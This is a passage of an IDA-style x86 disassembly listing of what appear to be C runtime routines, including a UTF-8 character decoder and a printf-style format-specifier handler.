add edx, ecx
cmp eax, edx
jb short loc_44BD12
xor eax, eax
jmp short loc_44BD27
; ---------------------------------------------------------------------------
loc_44BD12: ; CODE XREF: sub_44BC91+7Bj
push 4
push 1000h
push ebx
push esi
call dword_411E00
test eax, eax
jz short loc_44BD27
mov eax, esi
loc_44BD27: ; CODE XREF: sub_44BC91+31j
; sub_44BC91+47j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44BC91 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44BD31 proc near ; CODE XREF: sub_44ABC1+44p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
mov eax, [ebp+arg_C]
movzx eax, word ptr [eax+6]
mov [ebp+var_3], al
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_C]
mov eax, [eax]
mov [ebp+var_2], ax
cmp off_411924, 0
jnz loc_44BEAC
cmp [ebp+arg_4], 0
jnz short loc_44BD7F
mov eax, [ebp+arg_C]
mov ecx, dword_40FB78
mov ebx, dword_40FB7C
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BD7F: ; CODE XREF: sub_44BD31+31j
; sub_44BD31+176j
cmp [ebp+arg_8], 0
jnz short loc_44BDA3
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BDA3: ; CODE XREF: sub_44BD31+52j
cmp [ebp+var_3], 0
jbe short loc_44BDEA
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0C0h
cmp eax, 80h
jz short loc_44BDCE
call sub_44A781
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BDCE: ; CODE XREF: sub_44BD31+88j
movzx eax, [ebp+var_2]
shl eax, 6
mov edx, [ebp+var_8]
movzx edx, byte ptr [edx]
and edx, 3Fh
or eax, edx
mov [ebp+var_2], ax
sub [ebp+var_3], 1
jmp short loc_44BE5B
; ---------------------------------------------------------------------------
loc_44BDEA: ; CODE XREF: sub_44BD31+76j
mov eax, [ebp+var_8]
test byte ptr [eax], 80h
jnz short loc_44BDFE
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov [ebp+var_2], ax
jmp short loc_44BE5B
; ---------------------------------------------------------------------------
loc_44BDFE: ; CODE XREF: sub_44BD31+BFj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0E0h
cmp eax, 0C0h
jnz short loc_44BE23
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 1Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 1
jmp short loc_44BE5B
; ---------------------------------------------------------------------------
loc_44BE23: ; CODE XREF: sub_44BD31+DDj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0F0h
cmp eax, 0E0h
jnz short loc_44BE48
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 2
jmp short loc_44BE5B
; ---------------------------------------------------------------------------
loc_44BE48: ; CODE XREF: sub_44BD31+102j
call sub_44A781
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BE5B: ; CODE XREF: sub_44BD31+B7j
; sub_44BD31+CBj ...
cmp [ebp+var_3], 0
jnz short loc_44BEA1
cmp [ebp+arg_0], 0
jz short loc_44BE71
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_44BE71: ; CODE XREF: sub_44BD31+134j
mov edx, [ebp+arg_C]
mov word ptr [edx+6], 0
cmp [ebp+var_2], 0
jnz short loc_44BE8A
mov [ebp+var_C], 0
jmp short loc_44BE99
; ---------------------------------------------------------------------------
loc_44BE8A: ; CODE XREF: sub_44BD31+14Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_C], eax
loc_44BE99: ; CODE XREF: sub_44BD31+157j
mov eax, [ebp+var_C]
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BEA1: ; CODE XREF: sub_44BD31+12Ej
inc [ebp+var_8]
dec [ebp+arg_8]
jmp loc_44BD7F
; ---------------------------------------------------------------------------
loc_44BEAC: ; CODE XREF: sub_44BD31+27j
mov [ebp+var_C], 0
cmp [ebp+arg_4], 0
jnz short loc_44BEDF
mov eax, [ebp+arg_C]
mov ecx, dword_40FB78
mov ebx, dword_40FB7C
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BEDF: ; CODE XREF: sub_44BD31+186j
; sub_44BD31+292j
cmp [ebp+arg_8], 0
jnz short loc_44BF03
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BF03: ; CODE XREF: sub_44BD31+1B2j
mov al, [ebp+var_3]
cmp al, 10h
jnb short loc_44BF3F
movzx eax, al
mov eax, off_411924[eax*4]
mov [ebp+var_14], eax
test eax, eax
jz short loc_44BF3F
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_44BF3F
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov edx, [ebp+var_14]
mov ax, [edx+eax*2]
mov [ebp+var_E], ax
test ax, ax
jnz short loc_44BF52
loc_44BF3F: ; CODE XREF: sub_44BD31+1D7j
; sub_44BD31+1E8j ...
call sub_44A781
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44C00B
; ---------------------------------------------------------------------------
loc_44BF52: ; CODE XREF: sub_44BD31+20Cj
movzx eax, [ebp+var_E]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov [ebp+var_3], dl
test eax, 8000h
jz short loc_44BF7E
movzx eax, [ebp+var_2]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_E]
or eax, edx
mov [ebp+var_2], ax
loc_44BF7E: ; CODE XREF: sub_44BD31+238j
test [ebp+var_E], 1000h
jz short loc_44BFA0
movzx eax, [ebp+var_2]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+var_2], ax
loc_44BFA0: ; CODE XREF: sub_44BD31+253j
test [ebp+var_E], 4000h
jz short loc_44BFBD
mov eax, [ebp+var_8]
cmp byte ptr [eax], 0
jz short loc_44BFBD
inc [ebp+var_8]
dec [ebp+arg_8]
mov [ebp+var_C], 0
loc_44BFBD: ; CODE XREF: sub_44BD31+275j
; sub_44BD31+27Dj
test [ebp+var_E], 2000h
jz loc_44BEDF
cmp [ebp+arg_0], 0
jz short loc_44BFD9
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_44BFD9: ; CODE XREF: sub_44BD31+29Cj
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
cmp [ebp+var_2], 0
jnz short loc_44BFFD
mov [ebp+var_18], 0
jmp short loc_44C008
; ---------------------------------------------------------------------------
loc_44BFFD: ; CODE XREF: sub_44BD31+2C1j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_18], eax
loc_44C008: ; CODE XREF: sub_44BD31+2CAj
mov eax, [ebp+var_18]
loc_44C00B: ; CODE XREF: sub_44BD31+49j
; sub_44BD31+6Dj ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_44BD31 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44C011 proc near ; CODE XREF: sub_44ABC1+243p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = qword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
movzx eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp eax, 41h
jl short loc_44C030
cmp eax, 47h
jg short loc_44C03F
jmp dword_40FC80[eax*4]
; ---------------------------------------------------------------------------
loc_44C030: ; CODE XREF: sub_44C011+11j
cmp [ebp+var_4], 25h
jz loc_44C703
jmp loc_44C718
; ---------------------------------------------------------------------------
loc_44C03F: ; CODE XREF: sub_44C011+16j
mov eax, [ebp+var_4]
cmp eax, 58h
jz loc_44C274
jl loc_44C718
mov eax, [ebp+var_4]
cmp eax, 61h
jl loc_44C718
cmp eax, 78h
jg loc_44C718
jmp dword_40FC1C[eax*4]
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz short loc_44C09A
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
add ecx, 4
mov [eax], ecx
mov eax, [ebp+arg_C]
mov ecx, [ecx-4]
mov [eax+edx], cl
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C09A: ; CODE XREF: sub_44C011+63j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov [ebp+var_6], ax
mov [ebp+var_A], ax
mov [ebp+var_8], 0
mov edx, [ebp+arg_0]
or dword ptr [edx+2Ch], 0FFFFFFFFh
lea eax, [ebp+var_A]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44D291
add esp, 8
test eax, eax
jge loc_44C743
or eax, 0FFFFFFFFh
jmp loc_44C745
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_44C101
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_44C175
; ---------------------------------------------------------------------------
loc_44C101: ; CODE XREF: sub_44C011+D2j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_44C122
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_44C169
; ---------------------------------------------------------------------------
loc_44C122: ; CODE XREF: sub_44C011+F7j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_44C143
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_44C15D
; ---------------------------------------------------------------------------
loc_44C143: ; CODE XREF: sub_44C011+118j
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_44C15D: ; CODE XREF: sub_44C011+130j
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_44C169: ; CODE XREF: sub_44C011+10Fj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_44C175: ; CODE XREF: sub_44C011+EEj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_44C1A5
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dx, cx
movsx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44C1EB
; ---------------------------------------------------------------------------
loc_44C1A5: ; CODE XREF: sub_44C011+176j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_44C1C9
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dl, cl
movsx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44C1EB
; ---------------------------------------------------------------------------
loc_44C1C9: ; CODE XREF: sub_44C011+19Bj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_44C1D7
cmp al, 7Ah
jnz short loc_44C1EB
loc_44C1D7: ; CODE XREF: sub_44C011+1C0j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
loc_44C1EB: ; CODE XREF: sub_44C011+192j
; sub_44C011+1B6j ...
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_44C212
jl short loc_44C1FD
test eax, eax
jnb short loc_44C212
loc_44C1FD: ; CODE XREF: sub_44C011+1E6j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_44C250
; ---------------------------------------------------------------------------
loc_44C212: ; CODE XREF: sub_44C011+1E4j
; sub_44C011+1EAj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_44C232
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_44C250
; ---------------------------------------------------------------------------
loc_44C232: ; CODE XREF: sub_44C011+20Aj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_44C250
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_44C250: ; CODE XREF: sub_44C011+1FFj
; sub_44C011+21Fj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44D3E1
add esp, 8
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C274: ; CODE XREF: sub_44C011+34j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_44C296
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_44C307
; ---------------------------------------------------------------------------
loc_44C296: ; CODE XREF: sub_44C011+26Aj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_44C2B7
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_44C2FB
; ---------------------------------------------------------------------------
loc_44C2B7: ; CODE XREF: sub_44C011+28Cj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_44C2D8
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_44C2EF
; ---------------------------------------------------------------------------
loc_44C2D8: ; CODE XREF: sub_44C011+2ADj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_44C2EF: ; CODE XREF: sub_44C011+2C5j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_44C2FB: ; CODE XREF: sub_44C011+2A4j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_44C307: ; CODE XREF: sub_44C011+283j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_44C336
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44C379
; ---------------------------------------------------------------------------
loc_44C336: ; CODE XREF: sub_44C011+308j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_44C35A
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44C379
; ---------------------------------------------------------------------------
loc_44C35A: ; CODE XREF: sub_44C011+32Cj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_44C368
cmp al, 7Ah
jnz short loc_44C379
loc_44C368: ; CODE XREF: sub_44C011+351j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
loc_44C379: ; CODE XREF: sub_44C011+323j
; sub_44C011+347j ...
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_44C3C4
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jnz short loc_44C391
test eax, eax
jz short loc_44C3C4
loc_44C391: ; CODE XREF: sub_44C011+37Aj
mov al, [ebp+arg_8]
cmp al, 78h
jz short loc_44C39C
cmp al, 58h
jnz short loc_44C3C4
loc_44C39C: ; CODE XREF: sub_44C011+385j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov cl, [ebp+arg_8]
mov [eax+edx], cl
loc_44C3C4: ; CODE XREF: sub_44C011+371j
; sub_44C011+37Ej ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44D3E1
add esp, 8
jmp loc_44C743
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 4Ch
jnz short loc_44C403
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
jmp short loc_44C413
; ---------------------------------------------------------------------------
loc_44C403: ; CODE XREF: sub_44C011+3DEj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
loc_44C413: ; CODE XREF: sub_44C011+3F0j
fld [ebp+var_20]
fstp qword ptr [eax]
mov eax, [ebp+arg_0]
push eax
call sub_44D621
pop ecx
cmp ax, 2
jz short loc_44C486
mov eax, [ebp+arg_0]
test word ptr [eax+6], 8000h
jz short loc_44C448
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_44C486
; ---------------------------------------------------------------------------
loc_44C448: ; CODE XREF: sub_44C011+420j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_44C468
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_44C486
; ---------------------------------------------------------------------------
loc_44C468: ; CODE XREF: sub_44C011+440j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_44C486
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_44C486: ; CODE XREF: sub_44C011+415j
; sub_44C011+435j ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44D631
add esp, 8
jmp loc_44C743
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+3Ah]
mov [ebp+var_24], eax
cmp eax, 68h
jz loc_44C593
cmp eax, 6Ah
jz short loc_44C53B
cmp eax, 6Ch
jz loc_44C5AE
jg short loc_44C4D8
cmp [ebp+var_24], 62h
jz short loc_44C4FD
jmp loc_44C5C8
; ---------------------------------------------------------------------------
loc_44C4D8: ; CODE XREF: sub_44C011+4BAj
mov eax, [ebp+var_24]
cmp eax, 71h
jz short loc_44C517
cmp eax, 74h
jz short loc_44C55F
cmp eax, 71h
jl loc_44C5C8
cmp [ebp+var_24], 7Ah
jz loc_44C579
jmp loc_44C5C8
; ---------------------------------------------------------------------------
loc_44C4FD: ; CODE XREF: sub_44C011+4C0j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], al
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C517: ; CODE XREF: sub_44C011+4CDj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C53B: ; CODE XREF: sub_44C011+4AFj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C55F: ; CODE XREF: sub_44C011+4D2j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C579: ; CODE XREF: sub_44C011+4E1j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C593: ; CODE XREF: sub_44C011+4A6j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], ax
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C5AE: ; CODE XREF: sub_44C011+4B4j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44C743
; ---------------------------------------------------------------------------
loc_44C5C8: ; CODE XREF: sub_44C011+4C2j
; sub_44C011+4D7j ...
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44C743
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [ebp+arg_0]
mov edx, [edx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
mov edx, [ebp+arg_0]
mov dword ptr [edx+34h], 8
mov eax, [ebp+arg_0]
or word ptr [eax+38h], 10h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
push 78h
mov eax, [ebp+arg_0]
push eax
call sub_44D3E1
add esp, 8
jmp loc_44C743
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz loc_44C6E0
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [ebp+var_2C], edx
mov [eax], edx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_2C]
mov eax, [eax-4]
mov [edx+10h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jnz short loc_44C679
mov edx, [ebp+arg_0]
mov dword ptr [edx+10h], offset dword_40FE00
loc_44C679: ; CODE XREF: sub_44C011+65Cj
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
cmp dword ptr [eax+2Ch], 0
jge short loc_44C69A
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
or eax, 0FFFFFFFFh
loc_44C68E: ; CODE XREF: sub_44C011+682j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44C68E
mov [ebp+var_30], eax
jmp short loc_44C6D5
; ---------------------------------------------------------------------------
loc_44C69A: ; CODE XREF: sub_44C011+672j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
push edx
push 0
mov eax, [eax+10h]
push eax
call sub_44B381
add esp, 0Ch
mov [ebp+var_28], eax
test eax, eax
jz short loc_44C6C6
mov eax, [ebp+var_28]
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
sub eax, edx
mov [ebp+var_34], eax
jmp short loc_44C6CF
; ---------------------------------------------------------------------------
loc_44C6C6: ; CODE XREF: sub_44C011+6A3j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+var_34], eax
loc_44C6CF: ; CODE XREF: sub_44C011+6B3j
mov eax, [ebp+var_34]
mov [ebp+var_30], eax
loc_44C6D5: ; CODE XREF: sub_44C011+687j
mov eax, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+1Ch], eax
jmp short loc_44C743
; ---------------------------------------------------------------------------
loc_44C6E0: ; CODE XREF: sub_44C011+636j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44D291
add esp, 8
test eax, eax
jge short loc_44C743
or eax, 0FFFFFFFFh
jmp short loc_44C745
; ---------------------------------------------------------------------------
loc_44C703: ; CODE XREF: sub_44C011+23j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 25h
jmp short loc_44C743
; ---------------------------------------------------------------------------
loc_44C718: ; CODE XREF: sub_44C011+29j
; sub_44C011+3Aj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
cmp [ebp+arg_8], 0
jz short loc_44C733
movzx eax, [ebp+arg_8]
mov [ebp+var_28], eax
jmp short loc_44C73A
; ---------------------------------------------------------------------------
loc_44C733: ; CODE XREF: sub_44C011+717j
mov [ebp+var_28], 25h
loc_44C73A: ; CODE XREF: sub_44C011+720j
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_28]
mov [eax+edx], cl
loc_44C743: ; CODE XREF: sub_44C011+84j
; sub_44C011+BDj ...
xor eax, eax
loc_44C745: ; CODE XREF: sub_44C011+C6j
; sub_44C011+6F0j
pop ebx
mov esp, ebp
pop ebp
retn
sub_44C011 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
